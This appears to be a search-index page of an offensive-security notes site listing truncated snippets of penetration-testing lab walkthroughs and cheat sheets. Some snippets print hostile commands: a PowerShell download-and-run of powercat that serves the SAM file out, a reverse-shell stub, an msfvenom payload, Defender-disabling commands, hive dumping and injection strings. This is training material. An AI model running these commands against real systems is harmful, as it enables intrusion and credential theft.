Search the arsenal

135/139 open msrpc/netbios virtual hacking labs vhl walkthrough boxes os:windows tech:rce tech:cve # Aaron — VHL (10.11.1.27) ### Port Enumeration (10.11.1.27) ```shell 135/139

export target=192.168.112.187 proving grounds pg walkthrough boxes os:windows os:linux tech:active-directory tech:rce tech:file-upload tech:password-attack # Access — Proving Groun

Broken access control, type confusion, special-character abuse, and lesser-known web bugs. access control idor web # Access Control & Misc Web Attacks ## X-Original-URL Can circu

netexec/impacket one-liners for enum, roasting, movement, and DCSync. active directory impacket netexec bloodhound kerberos # Active Directory — Cheatsheet ## Enumerate (null / cr

Enumeration, AS-REP roast, Kerberoast, Pass-the-Hash, ADCS, BloodHound, and impacket workflows. active directory kerberos bloodhound impacket ad # Active Directory Attacks ## Acti

Foothold → domain user → domain admin — repeatable path. active directory methodology # AD Attack Chains ## secretsdump with creds → domain hashes ```bash impacket-secretsdump 'DO

The full Active Directory attack checklist — enum, creds, movement, DA. active directory checklist # AD Attack Checklist ## Phase 0: No Credentials - [ ] Null session: `nxc smb DC

nxc smb 10.0.2.0/24 blueprint ad-chains adchain walkthrough boxes os:windows os:linux tech:active-directory tech:password-attack # AD Chain 01 — Blueprint AD-Chains ```shell nxc s

sudo ip addr flush dev eth1 blueprint ad-chains adchain walkthrough boxes os:windows os:linux tech:active-directory tech:password-attack # AD Chain 02 — Blueprint AD-Chains ```she

sudo ip addr flush dev eth1 blueprint ad-chains adchain walkthrough boxes os:windows os:linux tech:active-directory tech:password-attack # AD Chain 03 — Blueprint AD-Chains ```she

Blueprint AD-Chain lab. Domain: hack-academy.local (DC01). Initial creds: lcarter : Awesome! blueprint ad-chains adchain walkthrough boxes os:windows os:linux tech:active-directory

Blueprint AD-Chain lab. Domain: hack-academy.local (DC01). Initial creds: emiller : raymond1:P blueprint ad-chains adchain walkthrough boxes os:windows os:linux tech:active-directo

Starting Credentials: sortiz : Shade3729a. blueprint ad-chains adchain walkthrough boxes os:windows os:linux tech:active-directory tech:password-attack # AD Chain 06 — Blueprint AD

Kerberoast, AS-REP roast, ACL abuse, BloodHound queries. active directory kerberos bloodhound # Active Directory ## AD Checklist - [ ] Scan all TCP (and UDP) ports on all hosts -

Certificate template misconfigs and how to weaponize them with Certipy. adcs certipy active directory # ADCS Abuse (Active Directory Certificate Services) ## Overview AD Certifica

Medium Windows AD box (HTB). Full-domain-compromise scenario starting from a low-priv credential, walking an ACL chain across users to DCSync. htb htb walkthrough boxes os:windows

Target host: amaterasu (user alfredo). A file-upload API on port 33414 allows writing arbitrary paths, which is abused to drop an SSH authorizedkeys file and… proving grounds pg wa

sudo rustscan -a 192.168.117.65 -- -A -sC proving grounds pg walkthrough boxes os:windows os:linux tech:rce # Algernon — Proving Grounds (192.168.117.65) ### Enumeration ```shell

5555/tcp open adb Android Debug Bridge (androidx86, VMware Virtual Platform) virtual hacking labs vhl walkthrough boxes os:linux # Android — VHL (10.11.1.48) ### Port Enumeratio

Walkthrough notes for the Annie box (TryHackMe). tryhackme ctf walkthrough boxes # Annie — TryHackMe ``` nmap -sV -sC -p 22,7070,30365 10.10.107.36 -v -Pn 22/tcp open ssh

80/tcp open http Apache 2.2.22 (Win32) PHP 5.4.3 virtual hacking labs vhl walkthrough boxes os:windows os:linux tech:rce tech:cve # Anthony — VHL (10.11.1.113) ### Por

In-memory PowerShell injection and dynamic PE injection with Shellter to bypass signatured AV. av evasion shellter powershell shellcode # Antivirus Evasion AV catches known payloa

Fuzz versioned API endpoints, then attack auth — register, escalate to admin, and forge/replay JWTs. web api jwt gobuster swagger # API Enumeration APIs commonly live on ports 300

API enumeration, the OWASP API Top 10, JWT attacks, and improper assets management. api jwt bola owasp web # API Security & Attacks ## API Attacks Excessive Data Disclosure: - W

Notes from oscp.adot8.com — web applications. web applications adot8 # APIs ## Fuzzing APIs ``` /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt ```

HackSmarter AD challenge (assumed breach). Domain: hacksmarter.local (DC01). Creds: faraday : hacksmarter123 hacksmarter hacksmarter walkthrough boxes os:windows tech:active-direct

445/tcp open smb virtual hacking labs vhl walkthrough boxes os:windows os:linux tech:rce tech:cve # AS45 — VHL (10.11.1.109) ### Port Enumeration (10.11.1.109) ```shell 445/tcp

Multi-flag HackSmarter box (6 flags). hacksmarter hacksmarter walkthrough boxes os:linux tech:rce # Ascension — HackSmarter (10.1.216.181) Multi-flag HackSmarter box (6 flags). ##

OSCP exam report requirements/checklist plus a condensed multi-machine capstone attack chain. report oscp exam methodology capstone # Assembling the Pieces — Exam Report & Capstone

Leaked secrets to poisoned CI/CD pipeline to AWS admin, plus a dependency-confusion attack chain. aws cicd jenkins dependency confusion s3 # Attacking AWS Cloud Infrastructure Two

sudo rustscan -a $target -- -A -sC proving grounds pg walkthrough boxes os:windows os:linux # AuthBy — Proving Grounds (192.168.103.46) ### Port Enumeration ```bash sudo rustscan

{% hint style="info" %} linux privilege escalation adot8 # Automated tools {% hint style="info" %} Start off with linPEAS then work your way down {% endhint %} {% embed u

When it comes to AV evasion we have two primary types available: post exploitation adot8 # AV Evasion ## Overview (Wreath THM) When it comes to AV evasion we have two prima

Windows Antimalware Scan Interface (AMSI) allows any program to communicate with the Anti-Virus that communicates on the machine. Essentially a bunch of functions that programs ca…

You might pop a shell on a domain user account that is an Administrator on the local computer but since it's just an interactive shell you can't run anything with the Administrato…

{% embed url="<https://github.com/int0x33/nc.exe/" %} post exploitation adot8 # Compiling Code {% embed url="<https://github.com/int0x33/nc.exe/>" %} We can use **mingw** t

Notes from oscp.adot8.com — post exploitation. post exploitation adot8 # Disabling Windows Defender ``` Set-MpPreference -DisableRealtimeMonitoring $true -DisableScriptScanni

{% hint style="info" %} post exploitation adot8 # Executable Obfuscation {% hint style="info" %} This technique was used to bypass AV while exploiting an [Unquoted Service Pa

External-to-internal AWS recon — S3, IAM, and account enumeration. aws s3 iam cloud # AWS Cloud Enumeration ## AWS ##### can you quickly explain the most important components of

Azure/Entra enumeration, password spraying with MSOLSpray, and tooling. azure entra msolspray cloud # Azure Cloud Enumeration & Tools ## Azure ##### can you quickly explain the m

21/tcp open ftp vsftpd 3.0.3 (Anonymous; backupdirs.txt) virtual hacking labs vhl walkthrough boxes os:linux tech:password-attack # Backupadmin — VHL (10.11.1.4) ### Port En

Standalone Linux server (chained lateral movement to root). hacksmarter hacksmarter walkthrough boxes os:linux tech:suid # BankSmarter — HackSmarter (10.0.17.247) Standalone Linux

Walkthrough notes for the bookstore box (TryHackMe). tryhackme ctf walkthrough boxes # bookstore — TryHackMe ## bookstore <https://tryhackme.com/room/bookstoreoc> --- ## notes

rustscan -a 192.168.231.71 -- -A proving grounds pg walkthrough boxes os:linux tech:rce tech:cve # Bratarina — Proving Grounds (192.168.231.71) ## Port Scan ```shell rustscan -a 1

hydra/medusa/netexec spraying plus hashcat & john modes. brute force hydra hashcat john spraying # Brute Force & Password Attacks — Cheatsheet ## Service brute force Brute-force

Notes from oscp.adot8.com — web applications. web applications adot8 # Brute Forcing and Spraying Common Usernames ``` root admin administrator ``` Common Passwords

Enumerate valid usernames via signup, then spray passwords against them with ffuf clusterbomb. web brute force ffuf login # Brute-Forcing a Login Page Two-step web login attack: f

Username enumeration, Hydra login brute force, and rate-limit / protection bypasses. brute force hydra login web # Brute-Forcing Login Forms ## Bruteforce Login Forms This is thr

Practical Burp Suite setup and workflow for web testing. burp proxy tools # Burp Suite Workflow ## Burp Suite For installation: tryhackme has a nice room on it. ``` /usr/lib/jvm

There are many different [C2](https://howto.thec2matrix.com/) frameworks. They can be hosted in the cloud for collaborative red teams post exploitation adot8 # C2 There are ma

{% embed url="<https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/" %} linux privilege escalation adot8 # Capabilities {% embed url="<https://www.hac

Multi-host OSCP-style challenge lab. Domain: secura.yzx. offsec / oscp offsec walkthrough boxes os:windows tech:active-directory tech:sqli tech:rce # Challenge 0 (Secura) — OSCP Ch

Multi-VM OSCP-style challenge lab (RELIA). Foothold on the web tier chains across five hosts. offsec / oscp offsec walkthrough boxes os:windows os:linux tech:lfi tech:rce tech:file

Notes from oscp.adot8.com — active directory. active directory adot8 # Checklist ``` ls C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ ```

Notes from oscp.adot8.com — linux privilege escalation. linux privilege escalation adot8 # Checklist ``` id ``` ``` find / -group <groups> 2>/dev/null ``` ``` histo

{% hint style="danger" %} web applications adot8 # Checklist {% hint style="danger" %} Cannot "GET" /blahblah = TRY DIFFRENT REQUEST METHODS {% endhint %} ``` gobuster d

{% hint style="info" %} windows privilege escalation adot8 # Checklist {% hint style="info" %} set PATH=%PATH%C:\Windows\System32;C:\Windows\System32\WindowsPowerShell\v1.0;

javascript proving grounds pg walkthrough boxes os:linux tech:cve # ClamAV — Proving Grounds (192.168.117.42) ### Information Gathering ```javascript #Port Enumeration rustscan -a

Remove executeables, scripts and added files&#x20; post exploitation adot8 # Cleanup ## Overview #### Simply make the system and or network look like it was when you first

Notes from oscp.adot8.com — cool. cool adot8 # Client-side Attacks ``` exiftool -a -u quote.pdf ``` {% hint style="info" %} Passive recon viewing metadata of publicly av

Notes from oscp.adot8.com — cool. cool adot8 # Code execution via Windows Library ``` gobuster dir -w ~/opt/wordlists/directories1.txt -u http://192.168.160.199 -x pdf,txt -

Create a new file called pwned.url cool adot8 # Evil Icon Create a new file called **pwned.url** ``` [InternetShortcut] URL=pwned WorkingDirectory=pwned IconFile=\\192.

Catch NTLMv2 hashes with badodt cool adot8 # ODT Files Catch NTLMv2 hashes with badodt {% embed url="<https://github.com/rmdavy/badodf/tree/master>" %} Catch a reverse s

Metadata recon with exiftool and delivery vectors that target the user/browser (macros, LNK, HTA). web client-side exiftool phishing # Client-Side Attacks Attacks that target the

Malicious Office macros, base64 payload staging, and warshipping. client-side macro phishing web # Client-Side Attacks & Malicious Macros ## base64_macro > **Note:** Windows Defe

sudo nmap cliente -p- -A -sV -sC evolve security evolve walkthrough boxes os:linux tech:rce tech:buffer-overflow tech:suid # Cliente — Evolve Security (10.50.156.133) ### Informat

S3/IAM enumeration, AWS CLI, Pacu, and Azure/Entra spraying. cloud aws azure s3 iam pacu # Cloud Pentest (AWS/Azure) — Cheatsheet ## AWS — configure & identity Set your access ke

sudo rustscan -a 10.11.1.177 -- -A -sC virtual hacking labs vhl walkthrough boxes os:windows os:linux tech:rce tech:file-upload tech:cve tech:password-attack # CMS01 — VHL (10.11.1

22/tcp open ssh OpenSSH 7.4 virtual hacking labs vhl walkthrough boxes os:linux tech:rce tech:cve tech:suid # CMS02 — VHL (10.11.1.35) ### Port Enumeration (10.11.1.35) ```sh

sudo rustscan -a 10.11.1.178 -- -A -sC virtual hacking labs vhl walkthrough boxes os:windows os:linux tech:rce tech:cve tech:suid # CMS101 — VHL (10.11.1.178) #Initial Foothold vi

22/tcp open ssh OpenSSH 7.4 virtual hacking labs vhl walkthrough boxes os:linux tech:rce tech:cve tech:suid # Code — VHL (10.11.1.148) ### Port Enumeration (10.11.1.148) ```

Notes on C2 frameworks and post-exploitation command-and-control. c2 post-exploitation # Command & Control (C2) ## Metasploit <https://infinitelogins.com/2020/01/25/msfvenom-reve

Chain OS commands via web input, confirm the injectable parameter, and upgrade to a reverse shell (Powercat). web command injection rce powercat # Command Injection When user inpu

<pre<code; whoami;asd web applications adot8 # Command injection <pre><code>; whoami;asd &#x26; whoami # &#x26;&#x26; whoami ; whoami ; \nwhoami\n \n/bin/whoami\n <stro

OS and JSON command injection — detecting the injectable parameter and escalating to a shell. command injection rce json web # Command Injection ## Command injection <https://git

<figure<img src="/files/6Jg4OreFIOeCGgPLUk0q" alt=""<figcaption</figcaption</figure report writing adot8 # Common Legal Documents <figure><img src="/files/6Jg4OreFIOeCGgPLUk0q

Notes from oscp.adot8.com — web applications. web applications adot8 # Compiling Exploits ``` i686-w64-mingw32-gcc 42341.c -o exploit.exe ``` ``` i686-w64-mingw32-gcc 42

Directory, subdomain, parameter, and technology discovery — fuzzing, JS crawling, WAF fingerprinting. content discovery fuzzing subdomains ffuf enum # Content Discovery ## apkleak

22/tcp open ssh OpenSSH 5.3p1 virtual hacking labs vhl walkthrough boxes os:linux tech:rce tech:cve # Core — VHL (10.11.1.160) ### Port Enumeration (10.11.1.160) ```shell

Notes from oscp.adot8.com — services. services adot8 # CouchDB <tcp 5984> > HTTP + JSON database. "Admin party" mode = anyone is admin. ## Nmap ``` nmap -p5984 --script "

export target=192.168.105.169 proving grounds pg walkthrough boxes os:windows os:linux tech:rce # Craft — Proving Grounds (192.168.105.169) ## Port Enumeration ```shell export tar

21/tcp open ftp vsftpd 3.0.3 virtual hacking labs vhl walkthrough boxes os:linux tech:rce tech:cve tech:suid # Crash — VHL (10.11.1.63) ### Port Enumeration (10.11.1.63) ```she

Persist your common commands in ~/.zsh_aliases so they survive Kali upgrades. kali aliases zsh workflow # Creating Aliases Shortcuts for the commands you run every engagement. Kee

LSASS, SAM/SYSTEM, LSA secrets, DPAPI, and remote secretsdump. credentials mimikatz secretsdump lsass dpapi # Credential Dumping — Cheatsheet ## Windows — save the local hives Sa

Harvest → crack → reuse — the credential loop across every box. credentials methodology # Credential Extraction Chains ## Mimikatz sekurlsa::logonpasswords ```powershell # Require

[Zerologon](/active-directory/critical-active-directory-cves/zerologon.md) (CVE-2020-1472 ) active directory adot8 # Critical Active Directory CVE's ## Critical Vulnerabiliti

The PrintNightmare vulnerability has to do with a flaw found in the Windows Print Spooler service. The flaw being that the service allows users to add printers and devices AND run…

The Zerologon vulnerability allows for attackers to manipulate authentication mechanisms in Microsoft’s Active Directory Netlogon Remote Protocol and compromise the Domain Control…

{% embed url="<https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cron-jobs" %} linux privilege escalation adot8 # Cron jobs {%

Identify entry points and weaponize stored XSS to create a WordPress admin via a poisoned User-Agent. web xss javascript wordpress # Cross-Site Scripting (XSS) Unsanitized input r

Web-app assessment (Rhino Security CTF). A Flask/nginx "Rhino Conservation" site behind Cloudflare, written up in report style. Findings: missing security he… rhino security rhino

Notes from oscp.adot8.com — cool. cool adot8 # Custom Wordlists ## Wordlist rules #### Premade ``` /usr/share/hashcat/rules/rockyou-30000.rule /usr/share/hashcat/rules

{% embed url="<https://www.youtube.com/watch?v=3BQKpPNlTSo" %} windows privilege escalation adot8 # CVE-2019-1388 {% embed url="<https://www.youtube.com/watch?v=3BQKpPNlTSo>"

<https://github.com/varwara/CVE-2024-26229 windows privilege escalation adot8 # CVE-2024-26229 (new) <https://github.com/varwara/CVE-2024-26229>

Enumerating and attacking database services on 3306/1433/1521/27017. mysql mssql oracle mongodb services # Database Services (MySQL, MSSQL, Oracle, MongoDB, Redis) ## MySQL Insta

nmap -sV -sC -p- 192.168.202.11 -Pn -A --open vulnhub vulnhub walkthrough boxes os:linux # Dawn — VulnHub (192.168.202.11) ### Port Enumeration ```shell nmap -sV -sC -p- 192.168.2

<figure<img src="/files/wrmqIkRfph4Q3J4klGyT" alt=""<figcaption</figcaption</figure cool adot8 # Decrypting Secure Strings <figure><img src="/files/wrmqIkRfph4Q3J4klGyT" alt="

Walkthrough notes for the derpNstink box (Vulnhub). vulnhub ctf walkthrough boxes # derpNstink — Vulnhub ## nmap ``` PORT STATE SERVICE REASON VERSION 21/tcp open ftp

Insecure deserialization across common stacks and how to reach code execution. deserialization web rce # Deserialization Attacks ## Phar Deserialization Phar Deserialization: If

Walkthrough notes for the developersRus box (TryHackMe). tryhackme ctf walkthrough boxes # developersRus — TryHackMe ## developersRus port 80: is web server, but havent found con

1. View users on machine web applications adot8 # Directory Traversal 1. View users on machine 2. Search for SSH Keys 3. Search for passwords in log or configuration files (

Dynamic Link Libraries are like executables but they aren't directly executable. They are shared libraries that contain functions, classes, resources, variables etc and they often…

Notes from oscp.adot8.com — services. services adot8 # DNS \<udp 53> ``` nslookup > server <IP> > <IP> ``` ``` dig axfr adot8.htb @<IP> ``` ``` dig +noall +answer

Data can be exfiltrated using DNS records and the protocol itself post exploitation adot8 # DNS Tunneling Data can be exfiltrated using DNS records and the protocol itself

{% embed url="<https://gtfobins.github.io/gtfobins/docker/" %} linux privilege escalation adot8 # Docker {% embed url="<https://gtfobins.github.io/gtfobins/docker/>" %} ```

Notes from oscp.adot8.com — services. services adot8 # Docker API <tcp 2375 / 2376> > Unauthenticated Docker daemon = instant root on the host. Jackpot port. ## Nmap ```

Linux box (HTB). Backdrop CMS with an exposed .git repo leaking credentials → authenticated RCE via the PHP/HTML parser on admin.php → SUID buffer-overflow f… htb htb walkthrough b

sudo rustscan -a 10.11.1.58 -- -A -sC virtual hacking labs vhl walkthrough boxes os:windows os:linux tech:xss tech:rce tech:password-attack tech:suid # Dolphin — VHL (10.11.1.58)

nmap -sVC -p- -Pn drama -A evolve security evolve walkthrough boxes os:linux tech:rce tech:buffer-overflow tech:suid # Drama — Evolve Security (10.50.153.150) ### Information Gath

22/tcp open ssh Bitvise WinSSHD 8.48 (FlowSsh 8.48) proving grounds pg walkthrough boxes os:windows os:linux tech:cve # DVR4 — Proving Grounds ### Port Enumeration ``

Walkthrough notes for the DVWS box (Training Labs). training labs ctf walkthrough boxes # DVWS — Training Labs ## API Command Injection ![unnamed_4c2305f849304ba6805b157d8e96212f

Notes from oscp.adot8.com — services. services adot8 # Elasticsearch <tcp 9200 / 9300> > HTTP+JSON search DB. Almost always no auth. Dump every index in one loop. ## Nmap

22/tcp open ssh OpenSSH 7.6p1 Ubuntu vulnhub vulnhub walkthrough boxes os:linux # Election1 — VulnHub (192.168.163.211) ### Port Enumeration ```shell 22/tcp open ssh OpenSSH

External-to-internal AWS recon — domains, S3 buckets, and IAM users/roles/policies via the AWS CLI and Pacu. aws s3 iam pacu cloud_enum # Enumerating AWS Cloud Infrastructure Exte

Full host + network enumeration checklist — ports, versions, DNS, SMB, web, misconfigs. checklist recon enumeration # Enumeration Checklist ## Initial Nmap - [ ] `nmap -sC -sV -oN

For backwards compatibility, password hashes present in /etc/passwd will override the ones stored in the shadow file. If we have write access to /etc/passwd we can simply add a ne…

sudo rustscan -a 10.50.148.31 -- -A -sC evolve security evolve walkthrough boxes os:windows os:linux tech:active-directory tech:xss tech:rce tech:cve tech:password-attack tech:suid

Two related Evolve targets: the Evolve Swag Node.js shop and the Medtech MSSQL web app. evolve security evolve walkthrough boxes os:windows os:linux tech:sqli tech:rce # Evolve Swa

Standalone Linux box; web + API abuse chain into Rocket.Chat. hacksmarter hacksmarter walkthrough boxes os:linux tech:rce tech:suid # Exception — HackSmarter (10.1.27.17) Standalo

Sometimes there will be services that have executables attached to them. If we have the permissions to manipulate it (FILE\ALL\ACCESS) then we can replace it with a malicious exec…

Dump the SAM hive to the pwd post exploitation adot8 # Exfiltration Dump the SAM hive to the pwd ``` reg.exe save HKLM\SAM C:\programdata\sam.bak ``` Dump the System h

Notes from oscp.adot8.com — post exploitation. post exploitation adot8 # Mimikatz ``` .\mimikatz.exe privilege::debug token::elevate lsadump::sam ```

powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.160.147:8888/powercat.ps1');powercat -l -p 6666 -i C:\windows.old\Windows\System32/SAM" post ex

searchsploit, msfvenom formats, and core Metasploit/handler workflow. exploitation msfvenom metasploit searchsploit # Exploitation & Payloads — Cheatsheet ## Find exploits Search

sudo rustscan -a 10.11.1.68 -- -A -sC virtual hacking labs vhl walkthrough boxes os:linux tech:sqli tech:xss tech:suid # Fed — VHL (10.11.1.68) #Foothold with sqlmap sqlmap -r FIL

LFI log poisoning to RCE, php://filter and data:// wrappers, RFI, and traversal bypasses. web lfi rfi php wrappers log poisoning # File Inclusion (LFI / RFI) & PHP Wrappers When a

LFI to RCE via log poisoning, php:// and data:// wrappers, RFI, and traversal bypasses. lfi rfi php wrappers web # File Inclusion (LFI/RFI) & Wrappers ## FTP LFI RCE Keep in mind

Move files on/off targets over HTTP, SMB, base64, certutil, scp. file transfer http smb certutil base64 # File Transfer — Cheatsheet ## Host a server (attacker side) Serve the cu

Move files onto and off a target — HTTP, SMB, FTP, base64, certutil. file transfer smb http # File Transfers ## Quick Reference — Kali → Windows ```powershell # IWR powershell iw

Notes from oscp.adot8.com — post exploitation. post exploitation adot8 # File Transfers ## Hosting files ```bash python -m SimpleHTTPServer 80 ``` ```bash python -m p

Notes from oscp.adot8.com — web applications. web applications adot8 # File Upload ``` .pHP .php%00 .asp .pl .phps .php%20 .aspx .cgi

Extension/content-type bypasses to webshell, plus upload race-condition exploitation. file upload webshell race condition web # File Upload Attacks ## .access mime type technique

Extension/content-type bypasses to webshell, and directory-traversal writes (overwrite authorized_keys). web file upload webshell bypass # File Upload Vulnerabilities If you can u

Discovering internet-exposed VPNs and turning them into initial access. vpn initial access exploitation # Finding & Exploiting Exposed VPNs ## Finding Exposed VPNs #### Mapping o

Mapping detected versions to public exploits and spotting common misconfigurations. cve searchsploit exploitation # Finding CVEs & Misconfigurations ## Checking for CVE's and misc

A Findings Report entails everything that you did and found on a high and low level. This section will have very quick and short notes on each section of the Findings Report, high…

Notes from oscp.adot8.com — services. services adot8 # Finger <tcp 79> > User enumeration oracle. If it's open, you get valid usernames for free. ## Nmap ``` nmap -sV -p7

Adapt broken public exploits — Burp proxying, Python 2→3, placeholders, cross-compiling, msfvenom shellcode. exploit cross-compile mingw python shellcode # Fixing Exploits When a

Notes from oscp.adot8.com — cool. cool adot8 # Fixing Exploits #### Buffer Overflows ``` msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.157 LPORT=1337 EXITFUNC=thr

Notes from oscp.adot8.com — web applications. web applications adot8 # Foothold ``` $client = New-Object System.Net.Sockets.TCPClient("192.168.45.237",1337);$stream = $client

21/tcp open ftp uftpd 2.10 (anonymous, ftp-bounce working) virtual hacking labs vhl walkthrough boxes os:linux tech:file-upload tech:cve # Forum — VHL (10.11.1.128) ### Port

<content> evolve security evolve walkthrough boxes os:linux tech:suid # Friends — Evolve Security (10.50.148.45) <content> ### Information Gathering ```bash sudo rustscan -a frien

Linux box (HTB). Broad service surface (FTP, SSH, DNS, HTTP/HTTPS, SMB). Enumeration notes: DNS zone transfer + SMB shares reveal vhosts and credentials that… htb htb walkthrough b

Anonymous access, banner enum, and public FTP exploits. ftp 21 services # FTP (21) Enumeration & Exploits ## 21 — FTP Reference: <https://book.hacktricks.xyz/pentesting/pentestin

Notes from oscp.adot8.com — services. services adot8 # FTP \<tcp 21> ``` wget -r ftp://anonymous:anonymous@10.10.10.184/ ``` ``` ftp-ssl -z secure -z verify=0 -p $ip ``

53/tcp open domain dnsmasq 2.71 virtual hacking labs vhl walkthrough boxes os:linux # FW01 — VHL (10.11.1.200) ### Port Enumeration (10.11.1.200) ```shell 53/tcp open domai

Notes from oscp.adot8.com — windows privilege escalation. windows privilege escalation adot8 # getsystem ``` getsystem ``` For a more stable shell migrate to a 64bit proc

sudo rustscan -a 10.11.2.245 -- -A -sC virtual hacking labs vhl walkthrough boxes os:windows os:linux tech:rce tech:cve tech:password-attack tech:suid # Graphs01 — VHL (10.11.2.245

- [Disk](https://oscp.adot8.com/linux-privilege-escalation/groups/disk.md) linux privilege escalation adot8 # Groups - [Disk](https://oscp.adot8.com/linux-privilege-escalation

Notes from oscp.adot8.com — linux privilege escalation. linux privilege escalation adot8 # Disk ``` id ``` <figure><img src="/files/niny9GDkomXcDn78pIap" alt=""><figcapti

Membership of the lxd (or lxc) group is effectively root: a member can start a container, mount the host filesystem into it, and read/write host files as root. linux privilege esca

There may be a mlocate.db file with past mlocate command queries. May come in handy looking for sensitive files linux privilege escalation adot8 # mlocate There may be a **mlo

PORT STATE SERVICE VERSION proving grounds pg walkthrough boxes os:windows tech:active-directory # Heist — Proving Grounds (heist.offsec DC) ### Port enumeration ```php

sudo rustscan -a 10.11.1.11 -- -A -sC virtual hacking labs vhl walkthrough boxes os:linux tech:password-attack tech:suid # Helpdesk — VHL (10.11.1.11) #Initial Access is through b

export target=192.168.105.117 proving grounds pg walkthrough boxes os:linux tech:rce tech:suid # Hetemit — Proving Grounds (192.168.105.117) ## Port Enumeration ```shell export ta

rustscan -a 192.168.117.40 -- -A proving grounds pg walkthrough boxes os:windows tech:active-directory tech:password-attack # Hokkaido — Proving Grounds (192.168.117.40) ### Enume

Security-relevant request/response headers, cookie flags, and header-based attacks. headers cookies web # HTTP Headers & Cookies ## Cookie attacks ++Cookie header attacks:++ Ca

Notes from oscp.adot8.com — services. services adot8 # HTTPS <tcp 443> > Same attack surface as HTTP + a cert that leaks subject/SAN hostnames. ## Nmap ``` nmap -p443 --s

fmcsorley : CrabSharkJellyfish192 proving grounds pg walkthrough boxes os:windows os:linux tech:active-directory # Hutch — Proving Grounds (192.168.143.122) ```bash #Loot fmcsorle

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/113-pentesting-ident" %} services adot8 # IDENT \<tcp 113> {% embed url="<https://book.hacktricks.xyz/ne

Fingerprint IIS, detect WebDAV, upload an ASPX shell, escalate to a reverse shell, and check misconfigs. web iis webdav aspx windows # IIS Enumeration & WebDAV Exploitation Micros

Notes from oscp.adot8.com — services. services adot8 # IMAP \<tcp 143> ``` telnet postfish.off 143 ``` ``` A1 LOGIN sales sales A1 LIST "" * A1 SELECT INBOX A1 FETCH

<figure<img src="/files/r4SUdQmiNd7LrF1XI4VA" alt=""<figcaption<pHTB Machine Jeeves</p</figcaption</figure windows privilege escalation adot8 # Impersonation and Potato Attacks

Notes from oscp.adot8.com — services. services adot8 # Inital Scans ``` nmap -p- --min-rate=1000 -Pn -v $ip ``` ``` nmap -sC -sV -T5 -Pn -p $open_ports $ip ``` <pre

From open ports to a shell — the decisions that turn recon into foothold. initial access foothold checklist # Initial Access Checklist ## Web Application Attacks - [ ] Default cre

Start off with[ Responder ](/active-directory/initial-attack-strategy/llmnr-poisoning.md)and [mitm6](/active-directory/initial-attack-strategy/ipv6-attacks.md) at times where user…

Find users using [Kerbrute](/active-directory/initial-attack-strategy/kerbrute.md) first then use that username to see if they need pre auth for a TGT active directory adot8 # AS

Typically machines on networks run on IPv4, sometimes not even utilizing IPv6 at all but still have it enabled by default. In a network there is usually nobody doing DNS for IPv6 a

Bruteforcing domain usernames is possible with Kerbrute. This is valuable from an information gathering perspective and can lead to some quick wins. active directory adot8 # Kerb

Link Local Multicast Name Resolution (LLMNR), is used to identify hosts when DNS fails to do so in the network. active directory adot8 # LLMNR Poisoning ## Overview Link Lo

Pull a lot of information out of the Domain Controller using enum4linux active directory adot8 # Misc ## Enum4linux Pull a lot of information out of the Domain Controller u

{% embed url="<https://www.mindpointgroup.com/blog/how-to-hack-through-a-pass-back-attack" %} active directory adot8 # Passback Attack {% embed url="<https://www.mindpointgrou

Notes from oscp.adot8.com — active directory. active directory adot8 # RPC ``` rpcclient -U '' -N 10.10.10.169 ``` ``` enumdomusers enumdomgroups ``` {% hint styl

If we're able to dump the SAM in the SMB Relay attack then we can use those hashes to pop a shell on a machine.&#x20; active directory adot8 # Shell Acess ## Gaining Shell Acc

Instead of cracking the captured hashes, we can instead relay those hashes to specific machines and potentially gain access. active directory adot8 # SMB Relay ## Overview

{% embed url="<https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/" %} linux privilege escalation adot8 # Initial Enumeration ## Playbook * System Enumeratio

Feed [Windows Exploit Suggester ](/windows-privilege-escalation/kernel-exploits.md)the [system information](/windows-privilege-escalation/initial-enumeration-manual/system-enumera…

Look for quick wins with Kernel Exploits using Windows Exploit Suggester or the Metasploit Local Exploit Suggester.&#x20; windows privilege escalation adot8 # Methodology > Tools

Basic [System enumeration](/windows-privilege-escalation/initial-enumeration-manual/system-enumeration.md) windows privilege escalation adot8 # Initial Enumeration Manual ## P

Notes from oscp.adot8.com — windows privilege escalation. windows privilege escalation adot8 # AV and Firewall Enumeration ## View Running Services ``` sc queryex type= se

Notes from oscp.adot8.com — windows privilege escalation. windows privilege escalation adot8 # Network Enumeration ## Gather Host Networking Information ```powerquery ipco

Notes from oscp.adot8.com — windows privilege escalation. windows privilege escalation adot8 # Password Hunting ## Passwords in the Registry ```powerquery reg query "HKLM\

Notes from oscp.adot8.com — windows privilege escalation. windows privilege escalation adot8 # System Enumeration ## Gather Basic System Information ```powerquery systemin

Notes from oscp.adot8.com — windows privilege escalation. windows privilege escalation adot8 # User Enumeration ## Gather Current User Informtion&#x20; ```powerquery whoam

{% hint style="info" %} linux privilege escalation adot8 # Network Enumeration {% hint style="info" %} Checking the interfaces and directly connected networks is important to

Notes from oscp.adot8.com — linux privilege escalation. linux privilege escalation adot8 # Password Hunting ## Password in files or as a filename ``` grep --color=auto -rn

<pre<code<stronguname -a linux privilege escalation adot8 # System Enumeration ## Get kernel version <pre><code><strong>uname -a </strong></code></pre> ``` cat /proc/v

Notes from oscp.adot8.com — linux privilege escalation. linux privilege escalation adot8 # User Enumeration ## Who are you? ``` whoami id ``` ## View sudo permissions

Where every engagement starts — host/port discovery, general methodology, OSINT, and mindset. recon methodology osint enum # Initial Recon & Methodology ## Methdology ### Good st

sudo rustscan -a $target -- -A -sC proving grounds pg walkthrough boxes os:windows os:linux tech:cve # Internal — Proving Grounds (192.168.112.40) ### Information Gathering ```she

Notes from oscp.adot8.com — services. services adot8 # IPMI <udp 623> > Out-of-band server management (iDRAC, iLO, IMM, SuperMicro). Almost always broken — dump the auth hash BE

Notes from oscp.adot8.com — services. services adot8 # IRC <tcp 6667 / 6697> > IRC daemons themselves rarely give shell — look for backdoored versions. ## Nmap ``` nmap -

Nmap scan results proving grounds pg walkthrough boxes os:windows os:linux tech:rce # Jacko — Proving Grounds (192.168.117.66) ## Enumeration **Nmap scan results** ```bash rusts

